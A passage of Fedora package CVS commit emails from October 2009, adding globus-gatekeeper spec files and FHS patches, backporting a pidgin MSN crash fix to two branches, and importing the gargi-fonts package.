#		tar -zcf globus_gatekeeper_setup-2.2.tar.gz globus_gatekeeper_setup-2.2
Source1:	%{_name}_setup-%{setupversion}.tar.gz
#		Fixes for FHS installation:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6820
Patch0:		%{name}.patch
#		Fixes for FHS installation:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6821
Patch1:		%{name}-setup.patch
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Provides:	%{name}-setup = %{setupversion}
Requires:	globus-common
Requires:	globus-common-setup >= 2
Requires:	globus-gatekeeper-setup >= 2
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-gss-assist-devel%{?_isa} >= 3
BuildRequires:	globus-gssapi-gsi-devel%{?_isa} >= 4
BuildRequires:	globus-core%{?_isa} >= 4

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
Globus Gatekeeper
Globus Gatekeeper Setup

%prep
%setup -q -n %{_name}-%{version}
%setup -D -T -q -n %{_name}-%{version} -a 1
%patch0 -p1
cd %{_name}_setup-%{setupversion}
%patch1 -p1
cd -

%build
# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor}

make %{?_smp_mflags}

# setup package
cd %{_name}_setup-%{setupversion}

# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

%{_datadir}/globus/globus-bootstrap.sh

%configure --without-flavor

make %{?_smp_mflags}

cd -

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

# setup package
cd %{_name}_setup-%{setupversion}
make install DESTDIR=$RPM_BUILD_ROOT
cd -

# Register setup
perl -MGrid::GPT::Setup <<EOF
my \$metadata = new Grid::GPT::Setup(package_name => "%{_name}_setup",
				     globusdir => "$RPM_BUILD_ROOT%{_prefix}");
\$metadata->finish();
EOF

# This script is intended to be sourced, not executed
chmod 644 $RPM_BUILD_ROOT%{_datadir}/globus/setup/setup-globus-gatekeeper.pl

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# Install license file
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -m 644 -p GLOBUS_LICENSE $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_pgm.filelist \
    $GLOBUSPACKAGEDIR/%{_name}_setup/noflavor_pgm.filelist \
  | sed s!^!%{_prefix}! > package.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}
%dir %{_docdir}/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/GLOBUS_LICENSE
%dir %{_datadir}/globus/packages/%{_name}_setup
%{_datadir}/globus/packages/setup
%dir %{_datadir}/globus/setup

%changelog
* Wed Jul 29 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 5.0-1
- Autogenerated


--- NEW FILE import.log ---
globus-gatekeeper-5_0-1_fc11:EL-5:globus-gatekeeper-5.0-1.fc11.src.rpm:1255976299


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gatekeeper/EL-5/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 16:26:16 -0000	1.1
+++ .cvsignore	19 Oct 2009 18:18:44 -0000	1.2
@@ -0,0 +1,2 @@
+globus_gatekeeper-5.0.tar.gz
+globus_gatekeeper_setup-2.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gatekeeper/EL-5/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:26:16 -0000	1.1
+++ sources	19 Oct 2009 18:18:44 -0000	1.2
@@ -0,0 +1,2 @@
+96dc37477340e9e3f6fc5a981510a5c5  globus_gatekeeper-5.0.tar.gz
+7aebcc8960634f8c8fd1077f25975c4f  globus_gatekeeper_setup-2.2.tar.gz



From wtogami at fedoraproject.org  Mon Oct 19 18:20:01 2009
From: wtogami at fedoraproject.org (=?utf-8?b?V2FycmVuIFRvZ2FtaSDnoKXkuIrli4c=?=)
Date: Mon, 19 Oct 2009 18:20:01 +0000 (UTC)
Subject: rpms/pidgin/F-11 pidgin-2.6.3-msn_servconn_disconnect-crash.patch, 
	NONE, 1.1 pidgin.spec, 1.78, 1.79
Message-ID: <20091019182001.CE12711C02A3@cvs1.fedora.phx.redhat.com>

Author: wtogami

Update of /cvs/pkgs/rpms/pidgin/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1896

Modified Files:
	pidgin.spec 
Added Files:
	pidgin-2.6.3-msn_servconn_disconnect-crash.patch 
Log Message:
- Upstream backport:
    3abad7606f4a2dfd1903df796f33924b12509a56 msn_servconn_disconnect-crash


pidgin-2.6.3-msn_servconn_disconnect-crash.patch:
 servconn.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE pidgin-2.6.3-msn_servconn_disconnect-crash.patch ---
(rediffed to apply against pidgin-2.6.3)
Revision: 3abad7606f4a2dfd1903df796f33924b12509a56
Ancestor: b4b3896d31eb6bef2433b251108f94dd5b04f06c
Author: sadrul at pidgin.im
Date: 2009-10-11T19:20:44
Branch: im.pidgin.pidgin

Modified files:
        libpurple/protocols/msn/servconn.c

ChangeLog:

Swap two lines to fix a crash.

msn_servconn_disconnect can destroy servconn, which makes it crash on the
next line. So reset the idle-handler before going into that function.

--- libpurple/protocols/msn/servconn.c.orig	2009-10-19 14:06:02.437920569 -0400
+++ libpurple/protocols/msn/servconn.c	2009-10-19 14:06:33.318661341 -0400
@@ -299,8 +299,8 @@
 static gboolean
 servconn_idle_timeout_cb(MsnServConn *servconn)
 {
-	msn_servconn_disconnect(servconn);
 	servconn->timeout_handle = 0;
+	msn_servconn_disconnect(servconn);
 	return FALSE;
 }
 


Index: pidgin.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pidgin/F-11/pidgin.spec,v
retrieving revision 1.78
retrieving revision 1.79
diff -u -p -r1.78 -r1.79
--- pidgin.spec	16 Oct 2009 20:16:03 -0000	1.78
+++ pidgin.spec	19 Oct 2009 18:20:01 -0000	1.79
@@ -82,7 +82,7 @@
 
 Name:		pidgin
 Version:	2.6.3
-Release:	1%{?dist}
+Release:	2%{?dist}
 License:        GPLv2+ and GPLv2 and MIT
 # GPLv2+ - libpurple, gnt, finch, pidgin, most prpls
 # GPLv2 - silc & novell prpls
@@ -119,6 +119,7 @@ Patch0: pidgin-NOT-UPSTREAM-2.5.2-rhel4-
 Patch101: pidgin-2.6.2-yahoo-buddy-idle-time.patch
 Patch102: pidgin-2.6.2-yahoo-status-change-away.patch
 Patch103: pidgin-2.6.2-crash-validate-jid.patch
+Patch104: pidgin-2.6.3-msn_servconn_disconnect-crash.patch
 
 BuildRoot:	%{_tmppath}/%{name}-%{version}-root
 Summary:	A Gtk+ based multiprotocol instant messaging client
@@ -379,6 +380,7 @@ echo "FEDORA=%{fedora} RHEL=%{rhel}"
 %patch101 -p0 -b .yahoo-buddy-idle-time
 %patch102 -p0 -b .yahoo-status-change-away
 %patch103 -p0 -b .pidgin-2.6.2-crash-validate-jid
+%patch104 -p0 -b .msn_servconn_disconnect-crash
 
 # Our preferences
 cp %{SOURCE1} prefs.xml
@@ -623,6 +625,10 @@ rm -rf $RPM_BUILD_ROOT
 %endif
 
 %changelog
+* Mon Oct 19 2009 Warren Togami <wtogami at redhat.com> 2.6.3-2
+- Upstream backport:
+    3abad7606f4a2dfd1903df796f33924b12509a56 msn_servconn_disconnect-crash
+
 * Fri Oct 16 2009 Warren Togami <wtogami at redhat.com> 2.6.3-1
 - 2.6.3 CVE-2009-3615
 



From ellert at fedoraproject.org  Mon Oct 19 18:20:52 2009
From: ellert at fedoraproject.org (Mattias Ellert)
Date: Mon, 19 Oct 2009 18:20:52 +0000 (UTC)
Subject: rpms/globus-gatekeeper/EL-4 globus-gatekeeper-setup.patch, NONE,
	1.1 globus-gatekeeper.patch, NONE, 1.1 globus-gatekeeper.spec,
	NONE, 1.1 import.log, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091019182052.4FECA11C00DC@cvs1.fedora.phx.redhat.com>

Author: ellert

Update of /cvs/pkgs/rpms/globus-gatekeeper/EL-4
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2046/EL-4

Modified Files:
	.cvsignore sources 
Added Files:
	globus-gatekeeper-setup.patch globus-gatekeeper.patch 
	globus-gatekeeper.spec import.log 
Log Message:
* Wed Jul 29 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 5.0-1
- Autogenerated


globus-gatekeeper-setup.patch:
 setup-globus-gatekeeper    |    2 +-
 setup-globus-gatekeeper.pl |   28 +++++++++++-----------------
 2 files changed, 12 insertions(+), 18 deletions(-)

--- NEW FILE globus-gatekeeper-setup.patch ---
diff -ur globus_gatekeeper_setup-2.2.orig/setup-globus-gatekeeper globus_gatekeeper_setup-2.2/setup-globus-gatekeeper
--- globus_gatekeeper_setup-2.2.orig/setup-globus-gatekeeper	2004-03-04 21:13:19.000000000 +0100
+++ globus_gatekeeper_setup-2.2/setup-globus-gatekeeper	2009-07-31 22:34:30.738499397 +0200
@@ -1,3 +1,3 @@
 #! /bin/sh
 
-perl $GLOBUS_LOCATION/setup/globus/setup-globus-gatekeeper.pl "$@"
+perl ${GLOBUS_LOCATION:-/usr}/setup/globus/setup-globus-gatekeeper.pl "$@"
diff -ur globus_gatekeeper_setup-2.2.orig/setup-globus-gatekeeper.pl globus_gatekeeper_setup-2.2/setup-globus-gatekeeper.pl
--- globus_gatekeeper_setup-2.2.orig/setup-globus-gatekeeper.pl	2004-03-04 21:13:19.000000000 +0100
+++ globus_gatekeeper_setup-2.2/setup-globus-gatekeeper.pl	2009-08-04 20:42:25.015218865 +0200
@@ -4,12 +4,7 @@
 
 if (!defined($gpath))
 {
-  $gpath = $ENV{GLOBUS_LOCATION};
-}
-
-if (!defined($gpath))
-{
-   die "GPT_LOCATION or GLOBUS_LOCATION needs to be set before running this script"
+  $gpath = "/usr";
 }
 
 @INC = (@INC, "$gpath/lib/perl");
@@ -50,9 +45,9 @@
 
 my $metadata = new Grid::GPT::Setup(package_name => "globus_gatekeeper_setup");
 
-my $globusdir = $ENV{GLOBUS_LOCATION};
-my $setupdir = "$globusdir/setup/globus/";
-my $gk_conf = "$globusdir/etc/globus-gatekeeper.conf";
+use Globus::Core::Path;
+
+my $gk_conf = "$Globus::Core::Path::sysconfdir/globus-gatekeeper.conf";
 
 print "Creating gatekeeper configuration file...\n";
 
@@ -66,27 +61,26 @@
   -x509_user_cert $x509_user_cert
   -x509_user_key $x509_user_key
   -gridmap $gridmap
-  -home $globusdir
-  -e libexec
-  -logfile var/globus-gatekeeper.log
+  -e $Globus::Core::Path::sbindir
+  -logfile $Globus::Core::Path::localstatedir/log/globus-gatekeeper.log
   -port 2119
-  -grid_services etc/grid-services
+  -grid_services $Globus::Core::Path::sysconfdir/grid-services
   -inetd
 EOF
 
 print "Done\n";
 
-if ( ! -d "$globusdir/var" )
+if ( ! -d "$Globus::Core::Path::localstatedir/log" )
 {
    print "Creating gatekeeper log directory...\n";
-   system "mkdir -p $globusdir/var";
+   system "mkdir -p $Globus::Core::Path::localstatedir/log";
    print "Done\n";
 }
 
-if ( ! -d "$globusdir/etc/grid-services" )
+if ( ! -d "$Globus::Core::Path::sysconfdir/grid-services" )
 {
    print "Creating grid services directory...\n";
-   system "mkdir -p $globusdir/etc/grid-services";
+   system "mkdir -p $Globus::Core::Path::sysconfdir/grid-services";
    print "Done\n";
 }
 

globus-gatekeeper.patch:
 Makefile.am         |    4 +---
 configure.in        |    4 ----
 globus_gatekeeper.c |   45 +++------------------------------------------
 3 files changed, 4 insertions(+), 49 deletions(-)

--- NEW FILE globus-gatekeeper.patch ---
diff -ur globus_gatekeeper-5.0.orig/configure.in globus_gatekeeper-5.0/configure.in
--- globus_gatekeeper-5.0.orig/configure.in	2004-08-24 17:38:10.000000000 +0200
+++ globus_gatekeeper-5.0/configure.in	2009-07-29 01:30:55.624708882 +0200
@@ -24,10 +24,6 @@
 esac
 AC_SUBST(UNICOS_LIBS)
 
-if test "x$GLOBUS_THREADS" != "xnone"; then
-    AC_MSG_ERROR(Cannot build gatekeeper with threads)
-fi
-
 AC_CHECK_HEADERS(proj.h)
 AC_CHECK_HEADERS(netinet/tcp.h)
 AC_CHECK_HEADERS(string.h)
diff -ur globus_gatekeeper-5.0.orig/globus_gatekeeper.c globus_gatekeeper-5.0/globus_gatekeeper.c
--- globus_gatekeeper-5.0.orig/globus_gatekeeper.c	2008-08-15 11:09:53.000000000 +0200
+++ globus_gatekeeper-5.0/globus_gatekeeper.c	2009-08-06 08:44:45.674401405 +0200
@@ -109,10 +109,6 @@
 #include <proj.h>
 #endif
 
-#if !defined(MAXPATHLEN) 
-#   define MAXPATHLEN PATH_MAX
-#endif
-
 #ifndef HAVE_SETENV
 extern int setenv();
 #endif
@@ -122,6 +118,7 @@
 #endif
 
 #include "globus_gatekeeper_utils.h"
+#include "globus_gsi_system_config.h"
 
 /******************************************************************************
                                Type definitions
@@ -179,7 +176,7 @@
 #       define GRAM_K5_EXE "globus-k5"
 #endif
 #ifndef GLOBUS_LIBEXECDIR
-#  define GLOBUS_LIBEXECDIR "libexec"
+#  define GLOBUS_LIBEXECDIR "sbin"
 #endif
 #ifndef GLOBUS_GATEKEEPER_HOME
 #       define GLOBUS_GATEKEEPER_HOME "/etc"
@@ -188,10 +185,6 @@
 #define LOGFILE ""
 #endif
 
-#ifndef PATH_MAX
-#define PATH_MAX MAXPATHLEN
-#endif
-
 #define FAILED_AUTHORIZATION        1
 #define FAILED_SERVICELOOKUP        2
 #define FAILED_SERVER               3
@@ -600,34 +593,7 @@
          * gatekeeperhome (-home path) when not run from inetd. 
          * otherwise it is NULL
          */
-#if defined(TARGET_ARCH_LINUX) || defined(TARGET_ARCH_SOLARIS)
-        /*
-         * There is a memory corruption bug in the getcwd in
-         * glibc-2.1.1 and earlier
-         *
-         * Solaris 2.5.1 does not have a correct implementation
-         * of getcwd either.
-         *
-         */
-        {
-            char tmppath[PATH_MAX];
-
-            if(getwd(tmppath))
-            {
-                gatekeeperhome = strdup(tmppath);
-            }
-        }
-#else
-        {
-            char *tmppath = NULL;
-            int size = 1;
-            while ( (tmppath = getcwd (NULL, size)) == NULL )
-            {
-                size++;
-            }
-            gatekeeperhome = tmppath;
-        }
-#endif
+        GLOBUS_GSI_SYSCONFIG_GET_CURRENT_WORKING_DIR(&gatekeeperhome);
         run_from_inetd = 0;
     }
     else
@@ -964,11 +930,6 @@
         foreground = 1;
     }
 
-    if (gatekeeperhome)
-    {
-        setenv("GLOBUS_LOCATION",gatekeeperhome,1);
-    }
-        
     setenv("GRIDMAP", genfilename(gatekeeperhome,gridmap,NULL),1);
     if (globuspwd) 
     {
diff -ur globus_gatekeeper-5.0.orig/Makefile.am globus_gatekeeper-5.0/Makefile.am
--- globus_gatekeeper-5.0.orig/Makefile.am	2004-08-24 17:38:10.000000000 +0200
+++ globus_gatekeeper-5.0/Makefile.am	2009-07-29 01:42:48.544708833 +0200
@@ -10,9 +10,7 @@
 EXTRA_DIST=
 
 sbin_PROGRAMS= \
-	globus-gatekeeper
-
-libexec_PROGRAMS = \
+	globus-gatekeeper \
 	globus-k5
 
 globus_gatekeeper_SOURCES = \


--- NEW FILE globus-gatekeeper.spec ---
%ifarch alpha ia64 ppc64 s390x sparc64 x86_64
%global flavor gcc64pthr
%else
%global flavor gcc32pthr
%endif

Name:		globus-gatekeeper
%global _name %(tr - _ <<< %{name})
Version:	5.0
%global setupversion 2.2
Release:	1%{?dist}
Summary:	Globus Toolkit - Globus Gatekeeper

Group:		Applications/Internet
License:	ASL 2.0
URL:		http://www.globus.org/
#		Source is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/gatekeeper/source globus_gatekeeper-5.0
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_gatekeeper-5.0
#		tar -zcf globus_gatekeeper-5.0.tar.gz globus_gatekeeper-5.0
Source:		%{_name}-%{version}.tar.gz
#		Source1 is extracted from the globus toolkit installer:
#		wget -N http://www-unix.globus.org/ftppub/gt4/4.2.1/installers/src/gt4.2.1-all-source-installer.tar.bz2
#		tar -jxf gt4.2.1-all-source-installer.tar.bz2
#		mv gt4.2.1-all-source-installer/source-trees/gatekeeper/setup globus_gatekeeper_setup-2.2
#		cp -p gt4.2.1-all-source-installer/source-trees/core/source/GLOBUS_LICENSE globus_gatekeeper_setup-2.2
#		tar -zcf globus_gatekeeper_setup-2.2.tar.gz globus_gatekeeper_setup-2.2
Source1:	%{_name}_setup-%{setupversion}.tar.gz
#		Fixes for FHS installation:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6820
Patch0:		%{name}.patch
#		Fixes for FHS installation:
#		http://bugzilla.globus.org/bugzilla/show_bug.cgi?id=6821
Patch1:		%{name}-setup.patch
BuildRoot:	%{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)

Provides:	%{name}-setup = %{setupversion}
Requires:	globus-common
Requires:	globus-common-setup >= 2
Requires:	globus-gatekeeper-setup >= 2
BuildRequires:	grid-packaging-tools
BuildRequires:	globus-gss-assist-devel%{?_isa} >= 3
BuildRequires:	globus-gssapi-gsi-devel%{?_isa} >= 4
BuildRequires:	globus-core%{?_isa} >= 4

%description
The Globus Toolkit is an open source software toolkit used for building Grid
systems and applications. It is being developed by the Globus Alliance and
many others all over the world. A growing number of projects and companies are
using the Globus Toolkit to unlock the potential of grids for their cause.

The %{name} package contains:
Globus Gatekeeper
Globus Gatekeeper Setup

%prep
%setup -q -n %{_name}-%{version}
%setup -D -T -q -n %{_name}-%{version} -a 1
%patch0 -p1
cd %{_name}_setup-%{setupversion}
%patch1 -p1
cd -

%build
# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

%{_datadir}/globus/globus-bootstrap.sh

%configure --with-flavor=%{flavor}

make %{?_smp_mflags}

# setup package
cd %{_name}_setup-%{setupversion}

# Remove files that should be replaced during bootstrap
rm -f doxygen/Doxyfile*
rm -f doxygen/Makefile.am
rm -f pkgdata/Makefile.am
rm -f globus_automake*
rm -rf autom4te.cache

%{_datadir}/globus/globus-bootstrap.sh

%configure --without-flavor

make %{?_smp_mflags}

cd -

%install
rm -rf $RPM_BUILD_ROOT
make install DESTDIR=$RPM_BUILD_ROOT

# setup package
cd %{_name}_setup-%{setupversion}
make install DESTDIR=$RPM_BUILD_ROOT
cd -

# Register setup
perl -MGrid::GPT::Setup <<EOF
my \$metadata = new Grid::GPT::Setup(package_name => "%{_name}_setup",
				     globusdir => "$RPM_BUILD_ROOT%{_prefix}");
\$metadata->finish();
EOF

# This script is intended to be sourced, not executed
chmod 644 $RPM_BUILD_ROOT%{_datadir}/globus/setup/setup-globus-gatekeeper.pl

GLOBUSPACKAGEDIR=$RPM_BUILD_ROOT%{_datadir}/globus/packages

# Install license file
mkdir -p $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}
install -m 644 -p GLOBUS_LICENSE $RPM_BUILD_ROOT%{_docdir}/%{name}-%{version}

# Generate package filelists
cat $GLOBUSPACKAGEDIR/%{_name}/%{flavor}_pgm.filelist \
    $GLOBUSPACKAGEDIR/%{_name}_setup/noflavor_pgm.filelist \
  | sed s!^!%{_prefix}! > package.filelist

%clean
rm -rf $RPM_BUILD_ROOT

%files -f package.filelist
%defattr(-,root,root,-)
%dir %{_datadir}/globus/packages/%{_name}
%dir %{_docdir}/%{name}-%{version}
%doc %{_docdir}/%{name}-%{version}/GLOBUS_LICENSE
%dir %{_datadir}/globus/packages/%{_name}_setup
%{_datadir}/globus/packages/setup
%dir %{_datadir}/globus/setup

%changelog
* Wed Jul 29 2009 Mattias Ellert <mattias.ellert at fysast.uu.se> - 5.0-1
- Autogenerated


--- NEW FILE import.log ---
globus-gatekeeper-5_0-1_fc11:EL-4:globus-gatekeeper-5.0-1.fc11.src.rpm:1255976364


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gatekeeper/EL-4/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 16:26:16 -0000	1.1
+++ .cvsignore	19 Oct 2009 18:20:52 -0000	1.2
@@ -0,0 +1,2 @@
+globus_gatekeeper-5.0.tar.gz
+globus_gatekeeper_setup-2.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/globus-gatekeeper/EL-4/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:26:16 -0000	1.1
+++ sources	19 Oct 2009 18:20:52 -0000	1.2
@@ -0,0 +1,2 @@
+96dc37477340e9e3f6fc5a981510a5c5  globus_gatekeeper-5.0.tar.gz
+7aebcc8960634f8c8fd1077f25975c4f  globus_gatekeeper_setup-2.2.tar.gz



From wtogami at fedoraproject.org  Mon Oct 19 18:24:28 2009
From: wtogami at fedoraproject.org (=?utf-8?b?V2FycmVuIFRvZ2FtaSDnoKXkuIrli4c=?=)
Date: Mon, 19 Oct 2009 18:24:28 +0000 (UTC)
Subject: rpms/pidgin/F-10 pidgin-2.6.3-msn_servconn_disconnect-crash.patch, 
	NONE, 1.1 pidgin.spec, 1.83, 1.84
Message-ID: <20091019182428.68BEA11C00DC@cvs1.fedora.phx.redhat.com>

Author: wtogami

Update of /cvs/pkgs/rpms/pidgin/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2818

Modified Files:
	pidgin.spec 
Added Files:
	pidgin-2.6.3-msn_servconn_disconnect-crash.patch 
Log Message:
- Upstream backport:
    3abad7606f4a2dfd1903df796f33924b12509a56 msn_servconn_disconnect-crash


pidgin-2.6.3-msn_servconn_disconnect-crash.patch:
 servconn.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE pidgin-2.6.3-msn_servconn_disconnect-crash.patch ---
(rediffed to apply against pidgin-2.6.3)
Revision: 3abad7606f4a2dfd1903df796f33924b12509a56
Ancestor: b4b3896d31eb6bef2433b251108f94dd5b04f06c
Author: sadrul at pidgin.im
Date: 2009-10-11T19:20:44
Branch: im.pidgin.pidgin

Modified files:
        libpurple/protocols/msn/servconn.c

ChangeLog:

Swap two lines to fix a crash.

msn_servconn_disconnect can destroy servconn, which makes it crash on the
next line. So reset the idle-handler before going into that function.

--- libpurple/protocols/msn/servconn.c.orig	2009-10-19 14:06:02.437920569 -0400
+++ libpurple/protocols/msn/servconn.c	2009-10-19 14:06:33.318661341 -0400
@@ -299,8 +299,8 @@
 static gboolean
 servconn_idle_timeout_cb(MsnServConn *servconn)
 {
-	msn_servconn_disconnect(servconn);
 	servconn->timeout_handle = 0;
+	msn_servconn_disconnect(servconn);
 	return FALSE;
 }
 


Index: pidgin.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pidgin/F-10/pidgin.spec,v
retrieving revision 1.83
retrieving revision 1.84
diff -u -p -r1.83 -r1.84
--- pidgin.spec	16 Oct 2009 20:18:52 -0000	1.83
+++ pidgin.spec	19 Oct 2009 18:24:28 -0000	1.84
@@ -82,7 +82,7 @@
 
 Name:		pidgin
 Version:	2.6.3
-Release:	1%{?dist}
+Release:	2%{?dist}
 License:        GPLv2+ and GPLv2 and MIT
 # GPLv2+ - libpurple, gnt, finch, pidgin, most prpls
 # GPLv2 - silc & novell prpls
@@ -119,6 +119,7 @@ Patch0: pidgin-NOT-UPSTREAM-2.5.2-rhel4-
 Patch101: pidgin-2.6.2-yahoo-buddy-idle-time.patch
 Patch102: pidgin-2.6.2-yahoo-status-change-away.patch
 Patch103: pidgin-2.6.2-crash-validate-jid.patch
+Patch104: pidgin-2.6.3-msn_servconn_disconnect-crash.patch
 
 BuildRoot:	%{_tmppath}/%{name}-%{version}-root
 Summary:	A Gtk+ based multiprotocol instant messaging client
@@ -379,6 +380,7 @@ echo "FEDORA=%{fedora} RHEL=%{rhel}"
 %patch101 -p0 -b .yahoo-buddy-idle-time
 %patch102 -p0 -b .yahoo-status-change-away
 %patch103 -p0 -b .pidgin-2.6.2-crash-validate-jid
+%patch104 -p0 -b .msn_servconn_disconnect-crash
 
 # Our preferences
 cp %{SOURCE1} prefs.xml
@@ -623,6 +625,10 @@ rm -rf $RPM_BUILD_ROOT
 %endif
 
 %changelog
+* Mon Oct 19 2009 Warren Togami <wtogami at redhat.com> 2.6.3-2
+- Upstream backport:
+    3abad7606f4a2dfd1903df796f33924b12509a56 msn_servconn_disconnect-crash
+
 * Fri Oct 16 2009 Warren Togami <wtogami at redhat.com> 2.6.3-1
 - 2.6.3 CVE-2009-3615
 



From ankursinha at fedoraproject.org  Mon Oct 19 18:36:06 2009
From: ankursinha at fedoraproject.org (Ankur Sinha)
Date: Mon, 19 Oct 2009 18:36:06 +0000 (UTC)
Subject: rpms/gargi-fonts/devel gargi-fonts-fontconfig.conf, NONE,
	1.1 gargi-fonts.spec, NONE, 1.1 import.log, NONE, 1.1 .cvsignore,
	1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091019183606.45B1411C00DC@cvs1.fedora.phx.redhat.com>

Author: ankursinha

Update of /cvs/pkgs/rpms/gargi-fonts/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5567/devel

Modified Files:
	.cvsignore sources 
Added Files:
	gargi-fonts-fontconfig.conf gargi-fonts.spec import.log 
Log Message:
Tue Oct 20 2009 Ankur Sinha <ankursinha AT fedoraproject DOT org>
- 1.9-2
- first cvs commit



--- NEW FILE gargi-fonts-fontconfig.conf ---
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE fontconfig SYSTEM "../fonts.dtd">
<fontconfig>
  <alias>
    <family>sans</family>
    <prefer>
      <family>Gargi</family>
    </prefer>
  </alias>
  <alias>
    <family>Gargi</family>
    <default>
      <family>sans</family>
    </default>
  </alias>
</fontconfig>


--- NEW FILE gargi-fonts.spec ---
%global fontname gargi
%global fontconf 69-%{fontname}.conf

Name:           %{fontname}-fonts
Version:        1.9
Release:        2%{?dist}
Summary:        A Devanagari font

Group:          User Interface/X
License:        GPLv2+
URL:            http://savannah.nongnu.org/projects/gargi
Source0:        http://mirror.vocabbuilder.net/savannah/gargi/%{fontname}-%{version}.tar.gz
Source1:        %{name}-fontconfig.conf
BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)

BuildArch:      noarch
BuildRequires:  fontpackages-devel fontforge
Requires:       fontpackages-filesystem

%description
A Free Unicode OpenType Font


%prep
%setup -q -n %{fontname}-%{version}

sed 's/\r//' Changelog > Changelog.new
touch -r Changelog Changelog.new
mv Changelog.new Changelog

%build

fontforge -lang=ff -script "-" *.sfd <<EOF
i = 1 
while ( i < \$argc )
  Open (\$argv[i], 1)
  Generate (\$fontname + ".ttf")
  PrintSetup (5) 
  PrintFont (0, 0, "", \$fontname + "-sample.pdf")
  Close()
  i++ 
endloop
EOF

%install
rm -fr %{buildroot}

install -m 0755 -d %{buildroot}%{_fontdir}
install -m 0644 -p *.ttf %{buildroot}%{_fontdir}

install -m 0755 -d %{buildroot}%{_fontconfig_templatedir} \
                   %{buildroot}%{_fontconfig_confdir}

install -m 0644 -p %{SOURCE1} \
        %{buildroot}%{_fontconfig_templatedir}/%{fontconf}
ln -s %{_fontconfig_templatedir}/%{fontconf} \
      %{buildroot}%{_fontconfig_confdir}/%{fontconf}


%clean
rm -fr %{buildroot}


%_font_pkg -f %{fontconf} *.ttf

%doc Changelog COPYING

%changelog
* Wed Oct 14 2009 Ankur Sinha <ankursinha AT fedoraproject DOT org>
- 1.9-2
- Corrections based on bug #526633
* Thu Oct 1 2009 Ankur Sinha <ankursinha AT fedoraproject DOT org>
- 1.9-1
- Initial RPM build


--- NEW FILE import.log ---
gargi-fonts-1_9-2_fc11:HEAD:gargi-fonts-1.9-2.fc11.src.rpm:1255977191


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gargi-fonts/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	19 Oct 2009 16:24:15 -0000	1.1
+++ .cvsignore	19 Oct 2009 18:36:05 -0000	1.2
@@ -0,0 +1 @@
+gargi-1.9.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gargi-fonts/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	19 Oct 2009 16:24:15 -0000	1.1
+++ sources	19 Oct 2009 18:36:06 -0000	1.2
@@ -0,0 +1 @@
+211283db5be5a257b15f57c3ca76b9ef  gargi-1.9.tar.gz



